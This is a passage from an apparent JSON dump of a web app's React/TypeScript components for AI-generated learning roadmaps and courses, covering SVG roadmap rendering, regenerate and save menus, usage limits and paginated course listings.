    "content": "import { cn } from '../../lib/classname';\nimport { AIRoadmapRegenerate } from './AIRoadmapRegenerate';\nimport { LoadingChip } from '../LoadingChip';\nimport { type MouseEvent, useCallback } from 'react';\n\nexport type RoadmapNodeDetails = {\n  nodeId: string;\n  nodeType: string;\n  targetGroup?: SVGElement;\n  nodeTitle?: string;\n  parentTitle?: string;\n  parentId?: string;\n};\n\nexport function getNodeDetails(\n  svgElement: SVGElement,\n): RoadmapNodeDetails | null {\n  const targetGroup = (svgElement?.closest('g') as SVGElement) || {};\n\n  const nodeId = targetGroup?.dataset?.nodeId;\n  const nodeType = targetGroup?.dataset?.type;\n  const nodeTitle = targetGroup?.dataset?.title;\n  const parentTitle = targetGroup?.dataset?.parentTitle;\n  const parentId = targetGroup?.dataset?.parentId;\n  if (!nodeId || !nodeType) return null;\n\n  return { nodeId, nodeType, targetGroup, nodeTitle, parentTitle, parentId };\n}\n\nexport const allowedClickableNodeTypes = [\n  'topic',\n  'subtopic',\n  'button',\n  'link-item',\n];\n\ntype AIRoadmapContentProps = {\n  isLoading?: boolean;\n  svgHtml: string;\n  onRegenerate?: (prompt?: string) => void;\n  roadmapSlug?: string;\n\n  onNodeClick?: (node: RoadmapNodeDetails) => void;\n};\n\nexport function AIRoadmapContent(props: AIRoadmapContentProps) {\n  const { isLoading, svgHtml, onRegenerate, roadmapSlug, onNodeClick } = props;\n\n  const handleNodeClick = useCallback(\n    (e: MouseEvent<HTMLDivElement>) => {\n      if (isLoading) {\n        return;\n      }\n\n      const target = e.target as SVGElement;\n      const { nodeId, nodeType, targetGroup, nodeTitle, parentTitle } =\n        getNodeDetails(target) || {};\n      if (\n        !nodeId ||\n        !nodeType ||\n        !allowedClickableNodeTypes.includes(nodeType) ||\n        !nodeTitle\n      )\n        return;\n\n      if (nodeType === 'button' || nodeType === 'link-item') {\n        const link = targetGroup?.dataset?.link || '';\n        const isExternalLink = link.startsWith('http');\n        if (isExternalLink) {\n          window.open(link, '_blank');\n        } else {\n          window.location.href = link;\n        }\n        return;\n      }\n\n      onNodeClick?.({\n        nodeId,\n        nodeType,\n        nodeTitle,\n        ...(nodeType === 'subtopic' && { parentTitle }),\n      });\n    },\n    [isLoading, onNodeClick],\n  );\n\n  return (\n    <div\n      className={cn(\n        'relative mx-auto w-full max-w-7xl',\n        isLoading && 'min-h-full',\n      )}\n    >\n      <div\n        id=\"roadmap-container\"\n        className=\"relative min-h-[400px] [&>svg]:mx-auto\"\n        dangerouslySetInnerHTML={{ __html: svgHtml }}\n        onClick={handleNodeClick}\n      />\n\n      {isLoading && !svgHtml && (\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <LoadingChip message=\"Please wait...\" />\n        </div>\n      )}\n\n      {onRegenerate && !isLoading && roadmapSlug && (\n        <div className=\"absolute top-4 right-4\">\n          <AIRoadmapRegenerate\n            onRegenerate={onRegenerate}\n            roadmapSlug={roadmapSlug}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmapRegenerate.tsx",
    "content": "import {\n  Loader2Icon,\n  PenSquare,\n  RefreshCcw,\n  SaveIcon,\n  SettingsIcon,\n  type LucideIcon,\n} from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { cn } from '../../lib/classname';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { ModifyCoursePrompt } from '../GenerateCourse/ModifyCoursePrompt';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { aiRoadmapOptions } from '../../queries/ai-roadmap';\nimport { UpdatePreferences } from '../GenerateGuide/UpdatePreferences';\nimport { generateAIRoadmapFromText } from '@roadmapsh/editor';\nimport { useToast } from '../../hooks/use-toast';\nimport { showLoginPopup } from '../../lib/popup';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { useAuth } from '../../hooks/use-auth';\n\ntype AIRoadmapRegenerateProps = {\n  onRegenerate: (prompt?: string) => void;\n  roadmapSlug: string;\n};\n\nexport function AIRoadmapRegenerate(props: AIRoadmapRegenerateProps) {\n  const { onRegenerate, roadmapSlug } = props;\n\n  const toast = useToast();\n  const [isDropdownVisible, setIsDropdownVisible] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showPromptModal, setShowPromptModal] = useState(false);\n  const [showUpdatePreferencesModal, setShowUpdatePreferencesModal] =\n    useState(false);\n  const currentUser = useAuth();\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(ref, () => setIsDropdownVisible(false));\n\n  const { data: aiRoadmap } = useQuery(\n    aiRoadmapOptions(roadmapSlug),\n    queryClient,\n  );\n  const { mutate: updatePreferences, isPending: isUpdating } = useMutation(\n    {\n      mutationFn: (questionAndAnswers: QuestionAnswerChatMessage[]) => {\n        return httpPost(`/v1-update-ai-roadmap-preferences/${roadmapSlug}`, {\n          questionAndAnswers,\n        });\n      },\n      onSuccess: (_, vars) => {\n        queryClient.setQueryData(\n          aiRoadmapOptions(roadmapSlug).queryKey,\n          (old) => {\n            if (!old) {\n              return old;\n            }\n\n            return {\n              ...old,\n              questionAndAnswers: vars,\n            };\n          },\n        );\n\n        setShowUpdatePreferencesModal(false);\n        setIsDropdownVisible(false);\n        onRegenerate();\n      },\n    },\n    queryClient,\n  );\n\n  const handleSaveAIRoadmap = async () => {\n    const { nodes, edges } = generateAIRoadmapFromText(aiRoadmap?.data || '');\n    return httpPost<{\n      roadmapId: string;\n      roadmapSlug: string;\n    }>(`/v1-save-ai-roadmap/${aiRoadmap?._id}`, {\n      title: aiRoadmap?.term,\n      nodes: nodes.map((node) => ({\n        ...node,\n\n        // To reset the width and height of the node\n        // so that it can be calculated based on the content in the editor\n        width: undefined,\n        height: undefined,\n        style: {\n          ...node.style,\n          width: undefined,\n          height: undefined,\n        },\n        measured: {\n          width: undefined,\n          height: undefined,\n        },\n      })),\n      edges,\n    });\n  };\n\n  const { mutate: saveAIRoadmap, isPending: isSavingAIRoadmap } = useMutation(\n    {\n      mutationFn: handleSaveAIRoadmap,\n      onSuccess: (data) => {\n        if (!data?.roadmapId) {\n          toast.error('Something went wrong');\n          return;\n        }\n        window.location.href = `/r/${data?.roadmapSlug}`;\n      },\n    },\n    queryClient,\n  );\n\n  const { mutate: editAIRoadmap, isPending: isEditingAIRoadmap } = useMutation(\n    {\n      mutationFn: handleSaveAIRoadmap,\n      onSuccess: (data) => {\n        if (!data?.roadmapId) {\n          toast.error('Something went wrong');\n          return;\n        }\n        window.open(\n          `${import.meta.env.PUBLIC_EDITOR_APP_URL}/${data?.roadmapId}`,\n          '_blank',\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const isCurrentUserCreator = currentUser?.id === aiRoadmap?.userId;\n  const showUpdatePreferences =\n    aiRoadmap?.questionAndAnswers &&\n    aiRoadmap.questionAndAnswers.length > 0 &&\n    isCurrentUserCreator;\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {showPromptModal && (\n        <ModifyCoursePrompt\n          description=\"Pass additional information to the AI to generate a roadmap.\"\n          onClose={() => setShowPromptModal(false)}\n          onSubmit={(prompt) => {\n            setShowPromptModal(false);\n            onRegenerate(prompt);\n          }}\n        />\n      )}\n\n      {showUpdatePreferencesModal && (\n        <UpdatePreferences\n          onClose={() => setShowUpdatePreferencesModal(false)}\n          questionAndAnswers={aiRoadmap?.questionAndAnswers}\n          term={aiRoadmap?.term || ''}\n          format=\"roadmap\"\n          onUpdatePreferences={(questionAndAnswers) => {\n            updatePreferences(questionAndAnswers);\n          }}\n          isUpdating={isUpdating}\n        />\n      )}\n\n      <div ref={ref} className=\"relative flex items-stretch\">\n        <button\n          className={cn('rounded-md px-2.5 text-gray-400 hover:text-black', {\n            'text-black': isDropdownVisible,\n          })}\n          onClick={() => setIsDropdownVisible(!isDropdownVisible)}\n        >\n          <PenSquare className=\"text-current\" size={16} strokeWidth={2.5} />\n        </button>\n        {isDropdownVisible && (\n          <div className=\"absolute top-full right-0 min-w-[190px] translate-y-1 overflow-hidden rounded-md border border-gray-200 bg-white shadow-md\">\n            {isCurrentUserCreator && (\n              <>\n                {showUpdatePreferences && (\n                  <ActionButton\n                    onClick={() => {\n                      if (!isLoggedIn()) {\n                        showLoginPopup();\n                        return;\n                      }\n\n                      setIsDropdownVisible(false);\n                      setShowUpdatePreferencesModal(true);\n                    }}\n                    icon={SettingsIcon}\n                    label=\"Update Preferences\"\n                  />\n                )}\n\n                <ActionButton\n                  onClick={() => {\n                    if (!isLoggedIn()) {\n                      showLoginPopup();\n                      return;\n                    }\n\n                    setIsDropdownVisible(false);\n                    onRegenerate();\n                  }}\n                  icon={RefreshCcw}\n                  label=\"Regenerate\"\n                />\n                <ActionButton\n                  onClick={() => {\n                    if (!isLoggedIn()) {\n                      showLoginPopup();\n                      return;\n                    }\n\n                    setIsDropdownVisible(false);\n                    setShowPromptModal(true);\n                  }}\n                  icon={PenSquare}\n                  label=\"Modify Prompt\"\n                />\n\n                <hr className=\"my-1 border-gray-200\" />\n              </>\n            )}\n\n            <ActionButton\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                saveAIRoadmap();\n              }}\n              icon={SaveIcon}\n              label=\"Start Learning\"\n              isLoading={isSavingAIRoadmap}\n            />\n\n            <ActionButton\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                editAIRoadmap();\n              }}\n              icon={PenSquare}\n              label=\"Edit in Editor\"\n              isLoading={isEditingAIRoadmap}\n            />\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n\ntype ActionButtonProps = {\n  onClick: () => void;\n  isLoading?: boolean;\n  icon: LucideIcon;\n  label: string;\n};\n\nfunction ActionButton(props: ActionButtonProps) {\n  const { onClick, isLoading, icon: Icon, label } = props;\n\n  return (\n    <button\n      className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n      onClick={onClick}\n      disabled={isLoading}\n    >\n      {isLoading ? (\n        <Loader2Icon className=\"animate-spin\" size={16} strokeWidth={2.5} />\n      ) : (\n        <Icon size={16} className=\"text-gray-400\" strokeWidth={2.5} />\n      )}\n\n      {label}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/GenerateAIRoadmap.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { queryClient } from '../../stores/query-client';\nimport { LoadingChip } from '../LoadingChip';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { getQuestionAnswerChatMessages } from '../../lib/ai-questions';\nimport { aiRoadmapOptions, generateAIRoadmap } from '../../queries/ai-roadmap';\nimport { AIRoadmapContent } from './AIRoadmapContent';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype GenerateAIRoadmapProps = {\n  onRoadmapSlugChange?: (roadmapSlug: string) => void;\n};\n\nexport function GenerateAIRoadmap(props: GenerateAIRoadmapProps) {\n  const { onRoadmapSlugChange } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isStreaming, setIsStreaming] = useState(false);\n  const [error, setError] = useState('');\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n\n  const [svgHtml, setSvgHtml] = useState('');\n  const [content, setContent] = useState('');\n  const svgRef = useRef<string | null>(null);\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const isLimitDataLoading = isPaidUserLoading || isLimitLoading;\n\n  useEffect(() => {\n    if (isLimitDataLoading) {\n      return;\n    }\n\n    if (\n      !isPaidUser &&\n      limits &&\n      limits?.roadmap?.used >= limits?.roadmap?.limit\n    ) {\n      setError('You have reached the limit for this format');\n      setIsLoading(false);\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    const params = getUrlParams();\n    const paramsTerm = params?.term;\n    const paramsSrc = params?.src || 'search';\n    if (!paramsTerm) {\n      return;\n    }\n\n    let questionAndAnswers: QuestionAnswerChatMessage[] = [];\n    const sessionId = params?.id;\n    if (sessionId) {\n      questionAndAnswers = getQuestionAnswerChatMessages(sessionId);\n    }\n\n    handleGenerateDocument({\n      term: paramsTerm,\n      src: paramsSrc,\n      questionAndAnswers,\n    });\n  }, [isLimitDataLoading, isPaidUser]);\n\n  const handleGenerateDocument = async (options: {\n    term: string;\n    isForce?: boolean;\n    prompt?: string;\n    src?: string;\n    questionAndAnswers?: QuestionAnswerChatMessage[];\n  }) => {\n    const { term, isForce, prompt, src, questionAndAnswers } = options;\n\n    if (!isLoggedIn()) {\n      window.location.href = '/ai';\n      return;\n    }\n\n    await generateAIRoadmap({\n      term,\n      isForce,\n      prompt,\n      questionAndAnswers,\n      onDetailsChange: (details) => {\n        const { roadmapId, roadmapSlug, title, userId } = details;\n\n        const aiRoadmapData = {\n          _id: roadmapId,\n          userId,\n          title,\n          term,\n          data: content,\n          questionAndAnswers,\n          viewCount: 0,\n          svgHtml: svgRef.current || '',\n          lastVisitedAt: new Date(),\n          createdAt: new Date(),\n          updatedAt: new Date(),\n        };\n\n        queryClient.setQueryData(\n          aiRoadmapOptions(roadmapSlug).queryKey,\n          aiRoadmapData,\n        );\n\n        onRoadmapSlugChange?.(roadmapSlug);\n        window.history.replaceState(null, '', `/ai-roadmaps/${roadmapSlug}`);\n      },\n      onLoadingChange: setIsLoading,\n      onError: setError,\n      onStreamingChange: setIsStreaming,\n      onRoadmapSvgChange: (svg) => {\n        const svgHtml = svg.outerHTML;\n        svgRef.current = svgHtml;\n        setSvgHtml(svgHtml);\n      },\n    });\n  };\n\n  const upgradeModal = showUpgradeModal ? (\n    <UpgradeAccountModal\n      onClose={() => {\n        window.location.href = '/ai';\n      }}\n    />\n  ) : null;\n\n  if (error) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"text-red-500\">{error}</div>\n      </>\n    );\n  }\n\n  if (isLoading) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"flex h-full w-full items-center justify-center\">\n          <LoadingChip message=\"Please wait...\" />\n        </div>\n      </>\n    );\n  }\n\n  return (\n    <>\n      {upgradeModal}\n\n      <AIRoadmapContent isLoading={isLoading} svgHtml={svgHtml} />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/UserRoadmapsList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { BookOpen, Loader2 } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorTallMessage } from '../AITutor/AITutorTallMessage';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { Pagination } from '../Pagination/Pagination';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { AICourseSearch } from '../GenerateCourse/AICourseSearch';\nimport {\n  listUserAiRoadmapsOptions,\n  type ListUserAiRoadmapsQuery,\n} from '../../queries/ai-roadmap';\nimport { AIRoadmapCard } from './AIRoadmapCard';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { AIUsageWarning } from '../AIUsageWarning/AIUsageWarning';\n\nexport function UserRoadmapsList() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListUserAiRoadmapsQuery>({\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  });\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const selectedLimit = limits?.roadmap;\n\n  const { data: userAiRoadmaps, isFetching: isUserAiRoadmapsLoading } =\n    useQuery(listUserAiRoadmapsOptions(pageState), queryClient);\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [userAiRoadmaps]);\n\n  const roadmaps = userAiRoadmaps?.data ?? [];\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n      query: queryParams?.q || '',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1' || pageState?.query !== '') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n        q: pageState?.query || '',\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('q');\n    }\n  }, [pageState]);\n\n  const isUserAuthenticated = isLoggedIn();\n  const isAnyLoading =\n    isUserAiRoadmapsLoading ||\n    isInitialLoading ||\n    isPaidUserLoading ||\n    isLimitLoading;\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AICourseSearch\n        value={pageState?.query || ''}\n        onChange={(value) => {\n          setPageState({\n            ...pageState,\n            query: value,\n            currPage: '1',\n          });\n        }}\n        placeholder=\"Search Roadmaps...\"\n        disabled={isAnyLoading}\n      />\n\n      {isAnyLoading && (\n        <p className=\"mb-4 flex flex-row items-center gap-2 text-sm text-gray-500\">\n          <Loader2 className=\"h-4 w-4 animate-spin\" />\n          Loading your roadmaps...\n        </p>\n      )}\n\n      {!isAnyLoading && (\n        <>\n          <AIUsageWarning\n            type=\"roadmap\"\n            totalCount={userAiRoadmaps?.totalCount}\n            isPaidUser={isPaidUser}\n            usedCount={selectedLimit?.used}\n            limitCount={selectedLimit?.limit}\n            onUpgrade={() => setShowUpgradePopup(true)}\n          />\n\n          {isUserAuthenticated && !isAnyLoading && roadmaps.length > 0 && (\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 xl:grid-cols-3\">\n                {roadmaps.map((roadmap) => (\n                  <AIRoadmapCard\n                    variant=\"column\"\n                    key={roadmap._id}\n                    roadmap={roadmap}\n                  />\n                ))}\n              </div>\n\n              <Pagination\n                totalCount={userAiRoadmaps?.totalCount || 0}\n                totalPages={userAiRoadmaps?.totalPages || 0}\n                currPage={Number(userAiRoadmaps?.currPage || 1)}\n                perPage={Number(userAiRoadmaps?.perPage || 10)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"rounded-lg border border-gray-200 bg-white p-4\"\n              />\n            </div>\n          )}\n\n          {!isAnyLoading && roadmaps.length === 0 && (\n            <AITutorTallMessage\n              title={\n                isUserAuthenticated ? 'No roadmaps found' : 'Sign up or login'\n              }\n              subtitle={\n                isUserAuthenticated\n                  ? \"You haven't generated any roadmaps yet.\"\n                  : 'Takes 2s to sign up and generate your first roadmap.'\n              }\n              icon={BookOpen}\n              buttonText={\n                isUserAuthenticated\n                  ? 'Create your first roadmap'\n                  : 'Sign up or login'\n              }\n              onButtonClick={() => {\n                if (isUserAuthenticated) {\n                  window.location.href = '/ai';\n                } else {\n                  showLoginPopup();\n                }\n              }}\n            />\n          )}\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AIExploreCourseListing.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { useEffect, useState } from 'react';\nimport { AICourseCard } from '../GenerateCourse/AICourseCard';\nimport { AITutorHeader } from './AITutorHeader';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport {\n  listExploreAiCoursesOptions,\n  type ListExploreAiCoursesQuery,\n} from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { Pagination } from '../Pagination/Pagination';\nimport { AICourseSearch } from '../GenerateCourse/AICourseSearch';\nimport { AITutorTallMessage } from './AITutorTallMessage';\nimport { BookOpen, Loader2 } from 'lucide-react';\nimport { humanizeNumber } from '../../lib/number';\n\nexport function AIExploreCourseListing() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListExploreAiCoursesQuery>({\n    perPage: '42',\n    currPage: '1',\n    query: '',\n  });\n\n  const {\n    data: exploreAiCourses,\n    isFetching: isExploreAiCoursesLoading,\n    isRefetching: isExploreAiCoursesRefetching,\n  } = useQuery(listExploreAiCoursesOptions(pageState), queryClient);\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [exploreAiCourses]);\n\n  const courses = exploreAiCourses?.data ?? [];\n  const isAnyLoading = isExploreAiCoursesLoading || isInitialLoading;\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n      });\n    } else {\n      deleteUrlParam('p');\n    }\n  }, [pageState]);\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AITutorHeader\n        title=\"Explore Courses\"\n        subtitle=\"Explore the AI courses created by community\"\n        onUpgradeClick={() => setShowUpgradePopup(true)}\n      />\n      <AICourseSearch\n        value={pageState?.query || ''}\n        onChange={(value) => {\n          setPageState({\n            ...pageState,\n            query: value,\n            currPage: '1',\n          });\n        }}\n        disabled={isAnyLoading}\n      />\n\n      {isAnyLoading && (\n        <p className=\"mb-4 flex flex-row items-center gap-2 text-sm text-gray-500\">\n          <Loader2 className=\"h-4 w-4 animate-spin\" />\n          Loading courses...\n        </p>\n      )}\n\n      {!isAnyLoading && (\n        <>\n          <div className=\"mb-4 flex items-center justify-between\">\n            <p className=\"text-sm text-gray-500\">\n              Community has generated{' '}\n              {humanizeNumber(exploreAiCourses?.totalCount || 0)} courses\n            </p>\n\n            <div className=\"hidden lg:block\">\n              <Pagination\n                variant=\"minimal\"\n                totalCount={exploreAiCourses?.totalCount || 0}\n                totalPages={exploreAiCourses?.totalPages || 0}\n                currPage={Number(exploreAiCourses?.currPage || 1)}\n                perPage={Number(exploreAiCourses?.perPage || 21)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"\"\n              />\n            </div>\n          </div>\n\n          {courses && courses.length > 0 && (\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 lg:grid-cols-3\">\n                {courses.map((course) => (\n                  <AICourseCard\n                    key={course._id}\n                    course={course}\n                    showActions={false}\n                    showProgress={false}\n                    variant=\"column\"\n                  />\n                ))}\n              </div>\n\n              <Pagination\n                totalCount={exploreAiCourses?.totalCount || 0}\n                totalPages={exploreAiCourses?.totalPages || 0}\n                currPage={Number(exploreAiCourses?.currPage || 1)}\n                perPage={Number(exploreAiCourses?.perPage || 21)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"rounded-lg border border-gray-200 bg-white p-4\"\n              />\n            </div>\n          )}\n\n          {courses.length === 0 && (\n            <AITutorTallMessage\n              title=\"No courses found\"\n              subtitle=\"Try a different search or check back later.\"\n              icon={BookOpen}\n              buttonText=\"Create your first course\"\n              onButtonClick={() => {\n                window.location.href = '/ai';\n              }}\n            />\n          )}\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AIFeaturedCoursesListing.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport {\n  listFeaturedAiCoursesOptions,\n  type ListUserAiCoursesQuery,\n} from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { useEffect, useState } from 'react';\nimport { getUrlParams, setUrlParams, deleteUrlParam } from '../../lib/browser';\nimport { AICourseCard } from '../GenerateCourse/AICourseCard';\nimport { Pagination } from '../Pagination/Pagination';\nimport { AITutorHeader } from './AITutorHeader';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { AITutorTallMessage } from './AITutorTallMessage';\nimport { BookOpen } from 'lucide-react';\nimport { AILoadingState } from './AILoadingState';\nimport { AICourseSearch } from '../GenerateCourse/AICourseSearch';\n\nexport function AIFeaturedCoursesListing() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListUserAiCoursesQuery>({\n    perPage: '42',\n    currPage: '1',\n    query: '',\n  });\n\n  const { data: featuredAiCourses, isFetching: isFeaturedAiCoursesLoading } =\n    useQuery(listFeaturedAiCoursesOptions(pageState), queryClient);\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [featuredAiCourses]);\n\n  const courses = featuredAiCourses?.data ?? [];\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n      query: queryParams?.q || '',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1' || pageState?.query !== '') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n        q: pageState?.query || '',\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('q');\n    }\n  }, [pageState]);\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AITutorHeader\n        title=\"Staff Picks\"\n        subtitle=\"Explore our hand-picked courses generated by AI\"\n        onUpgradeClick={() => setShowUpgradePopup(true)}\n      >\n        <AICourseSearch\n          value={pageState?.query || ''}\n          onChange={(value) => {\n            setPageState({\n              ...pageState,\n              query: value,\n              currPage: '1',\n            });\n          }}\n        />\n      </AITutorHeader>\n\n      {(isFeaturedAiCoursesLoading || isInitialLoading) && (\n        <AILoadingState\n          title=\"Loading featured courses\"\n          subtitle=\"This may take a moment...\"\n        />\n      )}\n\n      {!isFeaturedAiCoursesLoading &&\n        !isInitialLoading &&\n        courses.length > 0 && (\n          <div className=\"flex flex-col gap-2\">\n            <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 lg:grid-cols-3\">\n              {courses.map((course) => (\n                <AICourseCard\n                  key={course._id}\n                  course={course}\n                  showActions={false}\n                  showProgress={false}\n                  variant=\"column\"\n                />\n              ))}\n            </div>\n\n            <Pagination\n              totalCount={featuredAiCourses?.totalCount || 0}\n              totalPages={featuredAiCourses?.totalPages || 0}\n              currPage={Number(featuredAiCourses?.currPage || 1)}\n              perPage={Number(featuredAiCourses?.perPage || 10)}\n              onPageChange={(page) => {\n                setPageState({ ...pageState, currPage: String(page) });\n              }}\n              className=\"rounded-lg border border-gray-200 bg-white p-4\"\n            />\n          </div>\n        )}\n\n      {!isFeaturedAiCoursesLoading &&\n        !isInitialLoading &&\n        courses.length === 0 && (\n          <AITutorTallMessage\n            title=\"No featured courses\"\n            subtitle=\"There are no featured courses available at the moment.\"\n            icon={BookOpen}\n            buttonText=\"Browse all courses\"\n            onButtonClick={() => {\n              window.location.href = '/ai';\n            }}\n          />\n        )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AITutor/AILoadingState.tsx",
    "content": "import { Loader2 } from 'lucide-react';\n\ntype AILoadingStateProps = {\n  title: string;\n  subtitle?: string;\n};\n\nexport function AILoadingState(props: AILoadingStateProps) {\n  const { title, subtitle } = props;\n\n  return (\n    <div className=\"flex flex-grow w-full flex-col items-center justify-center gap-4 rounded-lg border border-gray-200 bg-white p-8\">\n      <div className=\"relative\">\n        <Loader2 className=\"size-12 animate-spin text-gray-300\" />\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <div className=\"size-4 rounded-full bg-white\"></div>\n        </div>\n      </div>\n      <div className=\"text-center\">\n        <p className=\"text-lg font-medium text-gray-900\">{title}</p>\n        {subtitle && (\n          <p className=\"mt-1 text-sm text-gray-500\">{subtitle}</p>\n        )}\n      </div>\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/AITutor/AITutorHeader.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { PlusIcon } from 'lucide-react';\n\ntype AITutorHeaderProps = {\n  title: string;\n  subtitle?: string;\n  onUpgradeClick: () => void;\n  children?: React.ReactNode;\n};\n\nexport function AITutorHeader(props: AITutorHeaderProps) {\n  const { title, subtitle, onUpgradeClick, children } = props;\n\n  const { data: limits } = useQuery(aiLimitOptions(), queryClient);\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n\n  const { used, limit } = limits ?? { used: 0, limit: 0 };\n\n  return (\n    <div className=\"mb-3 flex min-h-[35px] items-center justify-between max-sm:mb-1\">\n      <div className=\"flex w-full flex-row items-center justify-between gap-2\">\n        <div className=\"gap-2\">\n          <h2 className=\"relative top-0 mb-1 flex-shrink-0 text-2xl font-semibold sm:mb-3 sm:text-3xl lg:top-1\">\n            {title}\n          </h2>\n          {subtitle && <p className=\"mb-4 text-sm text-gray-500\">{subtitle}</p>}\n        </div>\n        <div 